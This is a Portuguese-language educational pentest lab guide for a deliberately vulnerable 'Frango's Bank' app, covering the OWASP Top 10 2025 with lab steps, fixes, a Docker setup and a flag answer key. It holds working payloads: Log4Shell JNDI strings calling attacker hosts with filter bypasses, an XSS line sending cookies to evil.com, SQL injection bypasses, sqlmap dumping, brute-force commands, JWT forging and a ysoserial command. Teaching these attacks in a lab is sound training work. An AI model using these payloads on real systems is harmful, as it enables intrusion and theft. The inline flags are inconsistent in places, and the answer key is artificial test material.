



FRANGO'S BANK

Galinheiro Hall Security Lab

DVWA — Laboratório de Pentest Educacional

OWASP Top 10 — 2025

Documentação Técnica Completa

Uso exclusivo para fins educacionais em ambientes controlados

Versão 1.0 • Abril 2026 • Classificação: EDUCACIONAL

Sumário Executivo

Este documento é a documentação técnica oficial do laboratório DVWA Frango's Bank, um ambiente de pentest educacional baseado no OWASP Top 10 2025. Cada seção cobre uma categoria de vulnerabilidade com teoria, exercícios práticos, payloads de exploração e orientações de correção.

⚠ Aviso Legal

Este material é exclusivamente para fins educacionais em ambientes isolados e controlados. A aplicação das técnicas aqui descritas em sistemas sem autorização expressa é crime previsto na Lei 12.737/2012 (Lei Carolina Dieckmann) e pode resultar em responsabilidade civil e criminal.

OWASP Top 10 — 2025

ID	Nome	Sev.	CWE	Pts Lab
A01	Broken Access Control	CRÍTICO	CWE-284,285	100 pts
A02	Security Misconfiguration	ALTO	CWE-2,16	100 pts
A03	Software Supply Chain	CRÍTICO	CWE-937	100 pts
A04	Cryptographic Failures	ALTO	CWE-310	100 pts
A05	Injection	CRÍTICO	CWE-77,89	100 pts
A06	Insecure Design	ALTO	CWE-73	100 pts
A07	Authentication Failures	ALTO	CWE-287	100 pts
A08	Integrity Failures	ALTO	CWE-345	100 pts
A09	Logging & Alerting	MÉDIO	CWE-532	100 pts
A10	Exceptional Conditions	MÉDIO	CWE-390	100 pts

Pontuação do Laboratório

Score máximo: 1.000 pontos • 10 flags • 3 níveis de dificuldade (Fácil / Médio / Difícil)

Metodologia de Pentest

Fases do Teste

1. Reconhecimento (Recon): identificar tecnologias, endpoints, superfície de ataque
2. Enumeração: mapear usuários, recursos, parâmetros e comportamentos
3. Exploração: executar os ataques documentados em cada categoria OWASP
4. Pós-exploração: escalar privilégios, mover lateralmente, exfiltrar dados
5. Documentação: registrar vulnerabilidades, evidências e flags capturadas

Ferramentas Recomendadas

Categoria	Ferramenta	Uso Principal
Proxy / Intercept	Burp Suite Community	Interceptar, modificar e repetir requisições
Scanner	OWASP ZAP	Varredura automática de vulnerabilidades
Fuzzer	ffuf / dirsearch	Descoberta de endpoints e parâmetros
SQL Injection	sqlmap	Exploração automatizada de SQLi
Brute Force	Hydra / Medusa	Ataques de força bruta em autenticação
JWT	jwt_tool	Análise e manipulação de tokens JWT
Reconhecimento	nikto / whatweb	Fingerprinting e varredura de misconfig
Dependências	OWASP Dep-Check	Análise de componentes vulneráveis
SIEM	Wazuh / ELK	Análise de logs e correlação de eventos

Vulnerabilidades — OWASP Top 10 2025

A01	Broken Access Control	CRÍTICO	CWE-284, 285, 639
-----	-----------------------	---------	-------------------

Descrição

Ocorre quando usuários conseguem acessar recursos ou realizar ações além de suas permissões. É a categoria #1 do OWASP 2025 por sua prevalência e impacto crítico em sistemas financeiros como o Frango's Bank.

Vetores de Ataque

- IDOR (Insecure Direct Object Reference): manipular IDs na URL/API para acessar dados de outros usuários
- Escalada de privilégio: modificar parâmetros de role/permissão (user → admin)
- Forced browsing: acessar /admin, /internal sem autenticação
- CORS mal configurado: permitir requisições cross-origin de domínios não autorizados
- Modificação de tokens ou cookies para acessar recursos restritos

Laboratório — IDOR — Acesso a contas alheias

Você está autenticado como Cornélio (account_id=1001). Altere o parâmetro na URL para acessar outras contas. O servidor não verifica se a conta pertence ao usuário logado.

6. Faça login como cornelio@frangosbank.com / senha123
7. Acesse GET /api/v1/account?id=1001 (sua conta)
8. Altere para id=1002, 1003, 1004, 1005
9. Observe que dados de outros clientes são retornados sem restrição
10. Tente acessar id=1005 (admin) para ver dados privilegiados

Payloads / Comandos

```
GET /api/v1/account?id=1002
GET /api/v1/account?id=1005    # conta admin
ffuf -u https://target/api/v1/account?id=FUZZ -w ids.txt -H "Auth: Bearer TOKEN"
# Burp Suite - plugin Autorize: compara respostas autenticado vs. não-autenticado
```

Como Corrigir

- Verificar server-side se o recurso pertence ao usuário autenticado antes de retornar
- Nunca confiar em IDs fornecidos pelo cliente sem validação de propriedade
- Implementar testes automatizados de controle de acesso (OWASP Autorize)
- Usar UUIDs aleatórios em vez de IDs sequenciais para dificultar enumeração
- Registrar e alertar acessos negados repetitivos (possível enumeração)

Ferramentas

Ferramenta	Uso
Burp Suite + Authorize	Plugin que automatiza teste de controle de acesso
ffuf / dirsearch	Fuzzing de IDs e endpoints
OWASP ZAP	Scanner com módulo de controle de acesso

► Flag do Laboratório

LABORATÓRIO: A02 - SECURITY MISCONFIGURATION (POR GALINHEIRO 2023)

A02	Security Misconfiguration	ALTO	CWE-2, 16, 388, 732
-----	---------------------------	------	---------------------

Descrição

Configurações padrão inseguras, permissões excessivas, serviços desnecessários habilitados, headers de segurança ausentes e arquivos sensíveis expostos. Subiu para #2 no OWASP 2025 pela frequência crescente em ambientes cloud.

Vetores de Ataque

- Headers HTTP ausentes: sem CSP, X-Frame-Options, HSTS, X-Content-Type-Options
- Arquivos sensíveis expostos: .env, backup.sql, .git/config, phpinfo.php
- Painéis administrativos sem autenticação: /admin, /phpmyadmin
- CORS configurado com wildcard (*) permitindo qualquer origem
- Mensagens de erro verbosas com stack traces em produção
- Credenciais padrão não alteradas (admin/admin, root/root)

🔑 Laboratório — Reconhecimento de misconfigurações

Descubra endpoints e arquivos expostos que revelam configurações inseguras e credenciais de produção do Frango's Bank.

11. Analise os headers HTTP da resposta principal
12. Acesse /.env — verifique se há credenciais de banco e chaves de API
13. Acesse /admin — verifique se requer autenticação
14. Acesse /backup.sql — verifique se há dump do banco de dados
15. Use nikto e gobuster para varredura automatizada

Payloads / Comandos

```
nikto -h https://frangosbank.com
gobuster dir -u https://target -w /usr/share/wordlists/dirb/common.txt -x env,sql,bak,git
```

```
curl -I https://target.com # analisar headers
# Endpoints críticos: /.env /.git/config /backup.sql /admin /swagger.json /actuator
```

Como Corrigir

- Implementar todos os headers de segurança: CSP, HSTS, X-Frame-Options, X-Content-Type-Options
- Bloquear acesso público a .env, .git, arquivos de backup via regras de servidor
- Proteger painéis administrativos com autenticação forte + IP allowlist
- Usar securityheaders.com para auditoria de headers
- Nunca expor stack traces em produção — usar páginas de erro genéricas
- Revisar configurações CORS: usar allowlist explícita de origens

Ferramentas

Ferramenta	Uso
nikto	Scanner de misconfigurações e arquivos expostos
gobuster / dirsearch	Enumeração de diretórios e arquivos
securityheaders.com	Análise de headers de segurança HTTP
nuclei	Scanner de templates com checks de misconfig

► Flag do Laboratório

FRANGO FRANGO MISCONFIG ENV EXPOSTO!

A03	Software Supply Chain Failures	CRÍTICO	CWE-937, 1035, 829
-----	--------------------------------	---------	--------------------

Descrição

Entrada nova no OWASP 2025 — uso de dependências desatualizadas com CVEs conhecidos, bibliotecas maliciosas injetadas (typosquatting), pipelines CI/CD comprometidos e ausência de verificação de integridade de pacotes.

Vetores de Ataque

- Dependências desatualizadas com CVEs críticos (Log4Shell, Spring4Shell)
- Typosquatting em npm/pip: lodahs em vez de lodash, regests em vez de requests
- Dependency confusion: pacote interno com mesmo nome publicado em repositório público
- Build pipeline comprometido: injeção de código malicioso no CI/CD
- Ausência de verificação de hash/assinatura de pacotes baixados
- Backdoor em biblioteca open-source (ex: xz-utils CVE-2024-3094)

🔧 Laboratório — Identificação de componentes vulneráveis

O stack do Frango's Bank usa Log4j 2.14, Spring Boot 2.5.0, jQuery 1.6.1 e OpenSSL 1.0.1. Identifique os CVEs associados e simule o payload Log4Shell.

16. Use dependency-check para escanear /app/WEB-INF/lib/
17. Pesquise 'log4j 2.14' no NVD — encontre CVE-2021-44228
18. Pesquise 'spring 2.5' — encontre CVE-2022-22965 (Spring4Shell)
19. Injete payload Log4Shell em campos logados pela aplicação
20. Configure listener LDAP para capturar a conexão de volta

Payloads / Comandos

```
dependency-check --project "FrangosBank" --scan /app --out report/
npm audit --audit-level=high
pip-audit
# Log4Shell — injetar em User-Agent, campos de login, X-Forwarded-For:
${jndi:ldap://ATTACKER_IP:1389/exploit}
# Bypass de filtros Log4Shell:
${${lower:j}ndi:${lower:l}dap://attacker.com/x}
${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/x}
```

Como Corrigir

- Manter inventário de todas as dependências (SBOM — Software Bill of Materials)
- Atualizar dependências automaticamente com Dependabot/Renovate
- Assinar e verificar integridade de pacotes (checksum SHA-256)
- Usar repositório privado de artefatos (Nexus, Artifactory) com espelhamento seguro
- Implementar análise de composição de software (SCA) no pipeline CI/CD
- Monitorar CVEs com feeds automáticos (NVD, OSV, GitHub Advisory)

Ferramentas

Ferramenta	Uso
OWASP Dependency-Check	Análise de componentes Java/JavaScript com CVEs
Snyk	SCA com integração a IDEs e pipelines
retire.js	Detecção de bibliotecas JS vulneráveis
Wappalyzer	Fingerprinting de tecnologias via browser
searchsploit	Busca de exploits no Exploit-DB

▶ Flag do Laboratório

FRANGO'S BANK LOG4SHELL SUPPLYCHAIN

A04	Cryptographic Failures	ALTO	CWE-261, 310, 319, 326, 327, 331
-----	------------------------	------	----------------------------------

Descrição

Dados sensíveis transmitidos ou armazenados sem proteção criptográfica adequada. Inclui uso indevido de Base64 como 'criptografia', algoritmos obsoletos (MD5, SHA1, DES), ausência de TLS e chaves hardcoded.

Vetores de Ataque

- Base64 usado como criptografia — decodificável por qualquer pessoa
- Senhas armazenadas em MD5/SHA1 sem salt (vulnerável a rainbow tables)
- JWT com algoritmo 'none' ou secret fraco quebrável por força bruta
- HTTP sem TLS para transmissão de dados sensíveis
- Cookies sem flags Secure, HttpOnly e SameSite
- Chaves de API e secrets hardcoded no código-fonte ou arquivos de config
- IVs estáticos em operações AES — comprometendo confidencialidade

Laboratório — Decodificação de dados 'protegidos'

O Frango's Bank armazena sessões em localStorage usando Base64 e emite cookies JWT sem verificação de assinatura. Decodifique e modifique os valores.

21. Abra o DevTools e inspecione localStorage['fb_session']
22. Decodifique o valor Base64: echo 'VALUE' | base64 -d
23. Analise o cookie auth_token — é um JWT com payload legível
24. Modifique o campo 'role' para 'admin' e reencodeie
25. Verifique que o cookie não tem flags Secure ou HttpOnly

Payloads / Comandos

```
echo 'dXNlcjpb3JuZWxpbzpzZW5oYTEyMw==' | base64 -d
# → user:cornelio:senha123
# Quebrar hash MD5 (hashcat):
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Verificar TLS:
testssl.sh https://frangosbank.com
openssl s_client -connect frangosbank.com:443 -tls1
```

Como Corrigir

- Usar bcrypt, argon2id ou scrypt para hashing de senhas — nunca MD5/SHA1
- Implementar TLS 1.3 e desabilitar TLS 1.0/1.1 e SSL

- Configurar cookies com: Secure; HttpOnly; SameSite=Strict
- Gerar secrets aleatórios de 256+ bits — nunca hardcoded
- Validar assinatura JWT server-side — nunca aceitar alg:none
- Nunca usar Base64 como proteção de dados sensíveis

Ferramentas

Ferramenta	Uso
testssl.sh	Análise completa de configuração TLS
hashcat / john	Quebra de hashes por força bruta
jwt.io	Decodificação e análise de tokens JWT
jwt_tool	Manipulação e exploração de JWT

► Flag do Laboratório

A05	Injection	CRÍTICO	CWE-77, 89, 564, 917, 79
-----	-----------	---------	--------------------------

Descrição

Input do usuário é interpretado como código ou comando. Abrange SQL Injection, XSS, NoSQL Injection, LDAP Injection, Template Injection (SSTI) e OS Command Injection.

Vetores de Ataque

- SQL Injection: concatenação direta de input em queries SQL
- XSS Refletido: input retornado ao usuário renderizado como HTML sem escape
- XSS Armazenado: payload salvo no banco e servido a outros usuários
- NoSQL Injection: operadores MongoDB (\$gt, \$regex) injetados via JSON
- SSTI: template engines interpretando expressões como {{7*7}}
- OS Command Injection: input passado a funções exec/system do servidor

🔧 Laboratório — SQL Injection e XSS

O campo de login concatena diretamente o input na query SQL. O campo de busca de transações reflete o input via innerHTML sem sanitização.

26. SQLi — Login bypass: insira admin'-- no campo de email
27. A query resultante: SELECT * FROM users WHERE email='admin'--' AND senha='x'
28. O comentário -- anula a verificação de senha — acesso como admin!
29. XSS — Busca: insira teste para confirmar renderização HTML

30. XSS — Cookie theft: `<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>`

Payloads / Comandos

```
# SQLi — Login bypass:
admin'--
' OR '1'='1
' OR 1=1--

# SQLi — Dump de dados (sqlmap):
sqlmap -u 'https://target/login' --data='email=*&senha=x' --dbs --dump

# XSS — Roubo de cookies:
<img src=x onerror=fetch('https://evil.com?c='+document.cookie)>
<svg onload=eval(atob('BASE64_PAYLOAD'))>

# SSTI — Detectar:
{{7*7}}    ${7*7}    <%= 7*7 %>
```

Como Corrigir

- SQL: usar prepared statements / parameterized queries — nunca concatenação
- XSS: usar `textContent` em vez de `innerHTML` ao renderizar input de usuário
- Implementar Content Security Policy (CSP) para mitigar XSS
- SSTI: nunca renderizar input de usuário diretamente em templates
- Validar e sanitizar todo input server-side antes de qualquer uso
- Usar ORM com binding de parâmetros (SQLAlchemy, Hibernate)

Ferramentas

Ferramenta	Uso
sqlmap	Exploração automática de SQL Injection
XSSStrike	Scanner avançado de XSS
Burp Suite Scanner	Detecção automática de injeções
OWASP ModSecurity	WAF com regras para injeções

▶ Flag do Laboratório

LAB03-FRANGO-INJECTION-SQL-XSS

A06	Insecure Design	ALTO	CWE-73, 183, 209, 256, 419, 440
-----	-----------------	------	--

Descrição

Falhas na lógica de negócio e arquitetura do sistema — não são bugs de implementação, mas erros de design. Incluem race conditions, ausência de controles por falta de modelagem de ameaças e fluxos de processo bypassáveis.

Vetores de Ataque

- Race condition: múltiplas threads lendo/modificando saldo sem lock atômico
- Valores negativos aceitos em transferências (débito negativo = crédito indevido)
- Ausência de limites de operação (sem teto de transferência por sessão)
- Pulo de etapas de pagamento (acessar /checkout/confirm sem passar por /payment)
- Recuperação de senha sem validação suficiente de identidade
- Ausência de modelagem de ameaças (STRIDE/PASTA) durante o design

Laboratório — Race Condition e Valor Negativo

Explore duas falhas de design do Frango's Bank: ausência de lock atômico em transferências (permite débito duplo com race condition) e aceitação de valores negativos na API.

31. Race Condition: envie 2+ requisições de transferência simultâneas com valor igual ao saldo
32. Ambas as threads lêem o mesmo saldo (disponível), ambas aprovam, ambas debitam
33. Resultado: saldo negativo — o banco transferiu mais do que havia
34. Valor negativo: intercepte a requisição de transferência com Burp e altere amount para -5000
35. O servidor valida 'saldo >= -5000' (true!) e processa o débito negativo, creditando sua conta

Payloads / Comandos

```
# Race condition (bash):  
for i in 1 2 3; do curl -X POST /api/transfer -d '{"amount":1000}' -H "Auth: Bearer  
TOKEN" & done  
  
# Burp Turbo Intruder — race condition precisa:  
# Configurar 'gate' e enviar todas as requisições simultaneamente  
# Valor negativo via Burp Repeater:  
POST /api/transfer  
{ "to": "attacker_account", "amount": -5000 }
```

Como Corrigir

- Usar transações ACID com SELECT FOR UPDATE para operações de saldo
- Implementar locks distribuídos (Redis SETNX) para operações críticas
- Validar que amount > 0 antes de qualquer processamento
- Realizar modelagem de ameaças (STRIDE) durante a fase de design
- Implementar limites por sessão, por hora e por dia em operações financeiras
- Testar casos extremos: valores negativos, zero, muito grandes, nulos

Ferramentas

Ferramenta	Uso
------------	-----

Burp Turbo Intruder	Race condition com controle de timing preciso
Race The Web	Ferramenta especializada em race conditions HTTP
OWASP Threat Dragon	Modelagem de ameaças visual

► Flag do Laboratório

FLAG: FRANGO DESIGN RACE CONDITION

A07	Authentication Failures	ALTO	CWE-255, 287, 290, 294, 307, 521, 613
------------	--------------------------------	-------------	---------------------------------------

Descrição

Falhas no processo de autenticação e gerenciamento de sessão: ausência de rate limiting, tokens previsíveis, senhas fracas permitidas, MFA ausente ou bypassável e sessões sem expiração adequada.

Vetores de Ataque

- Ausência de rate limiting: permite brute force ilimitado no login
- Ausência de logout: sem bloqueio após N tentativas falhas
- Tokens de sessão previsíveis: base64(user+timestamp) facilmente forjável
- Senhas fracas aceitas: admin, 1234, senha123 são válidas
- Links de recuperação de senha sem expiração
- Credential stuffing: teste de credenciais de vazamentos anteriores
- MFA ausente ou via SMS bypassável por SIM swap

🔧 Laboratório — Brute Force e Análise de Token

O endpoint de login não implementa rate limiting nem logout. Realize um ataque de brute force contra admin@frangosbank.com e analise a estrutura previsível dos tokens de sessão.

36. Execute hydra contra o endpoint de login com wordlist rockyou.txt
37. Observe que nenhuma tentativa é bloqueada mesmo após centenas de falhas
38. A senha do admin (admin) está entre as 15 senhas mais comuns
39. Decodifique o token de sessão: base64(cornelio:1745999000:1001)
40. Substitua 'cornelio' por 'admin' e o account_id por 1005 — token forjado!

Payloads / Comandos

```
hydra -l admin@frangosbank.com -P rockyou.txt target.com http-post-form
"/login:email=^USER^&senha=^PASS^:Credenciais inválidas"
# Credential stuffing (credenciais de vazamentos):
```

```
# https://haveibeenpwned.com - verificar exposição
# Forjar token previsível:
echo -n 'admin:1745999000:1005' | base64
# Usar token forjado no cookie de sessão
```

Como Corrigir

- Implementar rate limiting: máximo 5 tentativas por minuto por IP/usuário
- Bloquear conta por 15-30 minutos após 5 tentativas falhas consecutivas
- Exigir MFA (TOTP) para todas as contas — especialmente admin
- Gerar tokens de sessão aleatórios com 256 bits de entropia
- Verificar senhas contra listas de senhas comprometidas (HIBP API)
- Implementar expiração de sessão: 15 min idle, 8h absoluto

Ferramentas

Ferramenta	Uso
Hydra / Medusa	Brute force de credenciais HTTP
Burp Intruder	Ataques de força bruta e fuzzing
jwt_tool	Análise e manipulação de JWT
HIBP API	Verificação de senhas comprometidas

► Flag do Laboratório

CTF{JWT_WITH_BRUTEFORCE_NOLOCK}

A08	Software or Data Integrity Failures	ALTO	CWE-345, 353, 426, 494, 502, 565, 829
-----	-------------------------------------	------	---------------------------------------

Descrição

Falhas na verificação de integridade de software e dados: JWT sem validação de assinatura (alg:none), desserialização insegura de objetos, atualizações sem checagem de hash e pipelines CI/CD sem proteção.

Vetores de Ataque

- JWT com algoritmo 'none': servidor aceita token sem assinatura
- JWT com secret fraco: quebrável por força bruta (HS256)
- Desserialização insegura (PHP unserialize, Java ObjectInputStream, Python pickle)
- Atualizações de software sem verificação de assinatura digital
- Dependências carregadas de CDNs sem Subresource Integrity (SRI)

- Pipeline CI/CD sem controle de integridade de artefatos

Laboratório — JWT alg:none e Deserialização

O Frango's Bank valida JWTs mas aceita o algoritmo 'none' — sem assinatura. Forje um token com role:admin e explore a deserialização insegura de preferências de usuário.

41. Decodifique o JWT atual: header.payload.signature
42. Modifique o header para {"alg":"none","typ":"JWT"}
43. Modifique o payload para {"user":"cornelio","role":"admin"}
44. Remova a assinatura — envie: newHeader.newPayload. (ponto final sem signature)
45. Use jwt_tool para automatizar: python3 jwt_tool.py TOKEN -X a

Payloads / Comandos

```
# JWT alg:none (Python):
import base64, json
h =
base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
p =
base64.b64encode(json.dumps({"user":"cornelio","role":"admin"}).encode()).decode().rstrip(
    '=')
print(f"{h}.{p}.")
# jwt_tool:
python3 jwt_tool.py TOKEN -X a      # testa alg:none
python3 jwt_tool.py TOKEN -T        # tamper interativo
python3 jwt_tool.py TOKEN -C -d wordlist.txt # crack secret
# Java desserialização (ysoserial):
java -jar ysoserial.jar CommonsCollections1 "whoami" > payload.bin
```

Como Corrigir

- Rejeitar tokens com alg:none ou algoritmos inesperados
- Usar RS256 (assimétrico) em vez de HS256 quando possível
- Nunca deserializar objetos de fontes não confiáveis
- Usar allowlist de classes permitidas na deserialização Java
- Adicionar Subresource Integrity (SRI) em todos os recursos de CDN externos
- Assinar artefatos de build e verificar antes do deploy

Ferramentas

Ferramenta	Uso
jwt_tool	Análise e exploração completa de JWT
ysoserial	Geração de gadget chains para Java desserialização
JOSEPH (Burp)	Plugin de testes de JWT para Burp Suite

► Flag do Laboratório

FLAG: FRANGO INTEGRITY JWT ALG NONE

A09	Security Logging and Alerting Failures	MÉDIO	CWE-117, 223, 532, 778
------------	---	--------------	------------------------

Descrição

Ausência ou falha nos mecanismos de logging e alertas de segurança. Inclui logs com dados sensíveis, falta de alertas para eventos críticos, log injection e logs acessíveis publicamente sem proteção.

Vetores de Ataque

- Senhas e tokens registrados em texto claro nos logs de aplicação
- Ausência de alertas para múltiplas falhas de autenticação consecutivas
- Logs de aplicação expostos publicamente: /logs/app.log, /debug/console
- Log Injection: input com newlines permite inserir entradas falsas no log
- Stack traces completos logados e exibidos ao usuário final
- Ausência de correlação de eventos (SIEM) para detectar ataques em andamento

🔧 Laboratório — Exploração de Logs Expostos

O Frango's Bank expõe /logs/app.log publicamente. Os logs contêm senhas em texto claro, tokens de sessão e stack traces. Além disso, 1000 tentativas de brute force não geram nenhum alerta.

46. Acesse GET /logs/app.log — observe senhas e tokens registrados
47. Realize 100 tentativas de login falhas — nenhum alerta é gerado
48. Teste Log Injection: login com usuário 'admin\n[INFO] Admin login SUCCESS'
49. Verifique /debug/console — painel exposto com variáveis de ambiente
50. Analise stack traces de erros — revelam estrutura interna e IPs

Payloads / Comandos

```
# Buscar logs expostos:
ffuf -u https://target/FUZZ -w logs-wordlist.txt
# Wordlist: app.log, error.log, debug.log, access.log, application.log
# Log Injection - campo de login:
admin%0a[2026-04-17 09:00:00] LOGIN admin@frangosbank.com SUCCESS ip=127.0.0.1
# Verificar ausência de alertas:
# Looping de 100 logins falhos sem bloqueio = falha de alerting
```

Como Corrigir

- Nunca registrar senhas, tokens ou PII completo nos logs
- Implementar alertas automáticos para: 5+ falhas de login, acessos fora do horário, IPs novos
- Proteger arquivos de log com autenticação e não expô-los via HTTP
- Sanitizar input antes de logar (escapar newlines, caracteres especiais)
- Usar SIEM (Splunk, ELK, Wazuh) para correlação de eventos
- Implementar fail2ban para bloqueio automático de IPs atacantes

Ferramentas

Ferramenta	Uso
ELK Stack	Elasticsearch + Logstash + Kibana para SIEM
Splunk	SIEM enterprise com correlação de eventos
Wazuh	SIEM open-source com detecção de intrusão
fail2ban	Bloqueio automático de IPs por padrões de log

► Flag do Laboratório

REDACTED FLAG HERE

A10	Mishandling of Exceptional Conditions	MÉDIO	CWE-390, 391, 544, 600, 636, 704
-----	---------------------------------------	-------	----------------------------------

Descrição

Entrada nova no OWASP 2025 — tratamento inadequado de condições excepcionais: erros não capturados que revelam stack traces, falha aberta (fail open) em exceções de segurança, type confusion bypassando validações e comportamento indefinido com inputs extremos.

Vetores de Ataque

- Stack traces completos retornados ao usuário final com dados internos
- Fail open: exceção em verificação de autenticação resulta em acesso permitido
- Type confusion: 'R\$ 1000abc' parseado como 1000 (JS/PHP coerção implícita)
- Integer overflow: valores extremos causam comportamento inesperado
- Null pointer: null onde número esperado bypassando validações de saldo
- Exceções não tratadas em validações de autorização que permitem acesso

🔑 Laboratório — Stack Traces e Type Confusion

Provoque erros no Frango's Bank e observe as informações sensíveis reveladas. Teste type confusion nos campos de valor para bypassar validações.

51. Envie um apóstrofo no campo de login — observe o stack trace Java completo
52. O trace revela: linguagem, versão, IPs internos, nome do schema, estrutura de classes
53. No campo de valor da transferência, envie: '1000abc' — observe o comportamento
54. JavaScript parseFloat('1000abc') retorna 1000 — validação bypassada
55. Envie null, [], true, 999999999999999 e observe as respostas do servidor

Payloads / Comandos

```
# Provocar stack trace:
email: admin'    (apóstrofo quebra a query SQL)
# Type confusion - Burp Repeater:
{"amount": "1000abc"}    # parseFloat retorna 1000
{"amount": true}         # boolean interpretado como 1
{"amount": null}         # null bypass de verificação
{"amount": 9999999999999999999} # integer overflow
# Fail open - enviar token malformado:
Authorization: Bearer INVALID_TOKEN_CAUSING_EXCEPTION
# Se a exceção não for tratada → acesso pode ser concedido!
```

Como Corrigir

- Usar páginas de erro genéricas em produção — nunca stack traces
- Implementar try-catch global e logar exceções server-side apenas
- Falhar fechado (fail closed): exceção em auth = 403, nunca 200
- Validar tipo e range antes de qualquer processamento: `amount > 0 && amount < MAX`
- Usar tipos estritos (TypeScript strict mode, PHP strict_types=1)
- Testar inputs extremos no processo de QA: null, negativos, very large, strings

Ferramentas

Ferramenta	Uso
Burp Suite Repeater	Manipulação manual de requisições com inputs extremos
OWASP ZAP Fuzzer	Fuzzing automático de campos com payloads de erro
Sentry	Monitoramento de exceções em produção (server-side)

► Flag do Laboratório

FLAG: FRANGO_EXCEPTION_STACKTRACE_LEAK

Setup do Laboratório — Docker

Pré-requisitos

- Docker Engine 24+ e Docker Compose v2
- 4 GB de RAM disponível para os containers
- Portas livres: 8080 (app), 3000 (Juice Shop), 8888 (WebGoat), 3306 (MySQL)

docker-compose.yml

```
version: '3.8'
services:
  frangosbank-app:
    image: vulnerables/web-dvwa
    ports: ["8080:80"]
    environment:
      MYSQL_HOSTNAME: db
      MYSQL_DATABASE: frangosbank
      MYSQL_PASSWORD: galinha123
    networks: [frangos-net]

  db:
    image: mysql:5.6 # versão antiga = vulnerável
    environment:
      MYSQL_ROOT_PASSWORD: rootgalinha
      MYSQL_DATABASE: frangosbank
    ports: ["3306:3306"] # exposto para o lab!
    networks: [frangos-net]

  juiceshop:
    image: bkimminich/juice-shop
    ports: ["3000:3000"]
    networks: [frangos-net]

  kali:
    image: kalilinux/kali-rolling
    tty: true
    stdin_open: true
    networks: [frangos-net]

networks:
  frangos-net:
    driver: bridge
    ipam:
      config: [{subnet: 172.20.0.0/16}]
```

Comandos de Uso

```
docker compose up -d           # subir o lab
docker exec -it frangosbank_kali bash  # entrar no Kali
nmap -sV -sC 172.20.0.0/24      # recon inicial
docker compose down            # encerrar lab
```

Checklist de Pentest

Reconhecimento

- Identificar tecnologias: whatweb, wappalyzer, curl -I
- Varredura de diretórios: gobuster, dirsearch, feroxbuster
- Análise de headers: nikto, securityheaders.com
- Enumeração de endpoints de API e parâmetros

Autenticação e Sessão (A07)

- Testar senhas padrão e fracas (admin, 1234, senha123)
- Verificar rate limiting: 100 tentativas sem bloqueio?
- Analisar estrutura e previsibilidade dos tokens de sessão
- Testar expiração de sessão após logout

Autorização (A01)

- Trocar IDs em todos os endpoints da API
- Acessar /admin, /internal sem autenticação
- Testar IDOR em recursos de outros usuários
- Usar plugin Authorize no Burp Suite

Injeção (A05)

- SQLi em todos os campos de entrada (login, busca, filtros)
- XSS refletido e armazenado em campos exibidos ao usuário
- SSTI: testar `{{7*7}}`, `${7*7}`, `<%= 7*7 %>`
- Injeção em headers HTTP: User-Agent, Referer, X-Forwarded-For

Configuração (A02)

- Verificar .env, .git, backup.sql, phpinfo.php
- Analisar todos os headers de segurança HTTP
- Verificar CORS: Access-Control-Allow-Origin: *
- Testar credenciais padrão em painéis administrativos

Integridade (A08)

- Testar JWT com alg:none e secret fraco
- Analisar cookies serializados — testar deserialização
- Verificar integridade de recursos externos (SRI ausente)

Condições Excepcionais (A10)

- Enviar inputs extremos: null, vazio, muito longo, negativo
- Verificar stack traces em respostas de erro
- Testar type confusion: strings em campos numéricos
- Verificar fail open em exceções de autenticação

Flags — Gabarito

Esta seção contém todas as flags do laboratório. Consulte apenas após tentar cada desafio!

ID	Categoria	Flag
A01	Broken Access Control	FLAG{A01_FRANGO_IDOR_GALINHEIRO_2025}
A02	Security Misconfiguration	FLAG{A02_FRANGO_MISCONFIG_ENV_EXPOSTO}
A03	Software Supply Chain Failures	FLAG{A03_FRANGO_LOG4SHELL_SUPPLYCHAIN}
A04	Cryptographic Failures	FLAG{A04_FRANGO_CRYPTO_BASE64NAOECRYPTO}
A05	Injection	FLAG{A05_FRANGO_INJECTION_SQLI_XSS}
A06	Insecure Design	FLAG{A06_FRANGO_DESIGN_RACE_CONDITION}
A07	Authentication Failures	FLAG{A07_FRANGO_AUTH_BRUTEFORCE_NOLOCK}
A08	Software or Data Integrity Failures	FLAG{A08_FRANGO_INTEGRITY_JWT_ALG_NONE}
A09	Security Logging and Alerting Failures	FLAG{A09_FRANGO_LOGGING_SEM_ALERTA_SIEM}
A10	Mishandling of Exceptional Conditions	FLAG{A10_FRANGO_EXCEPTION_STACKTRACE_LEAK}

Score Total

1.000 pontos — 100 pts por desafio — 10 flags no total

Frango's Bank DVWA Lab — Galinheiro Hall Security Team
Uso exclusivo para fins educacionais em ambientes controlados.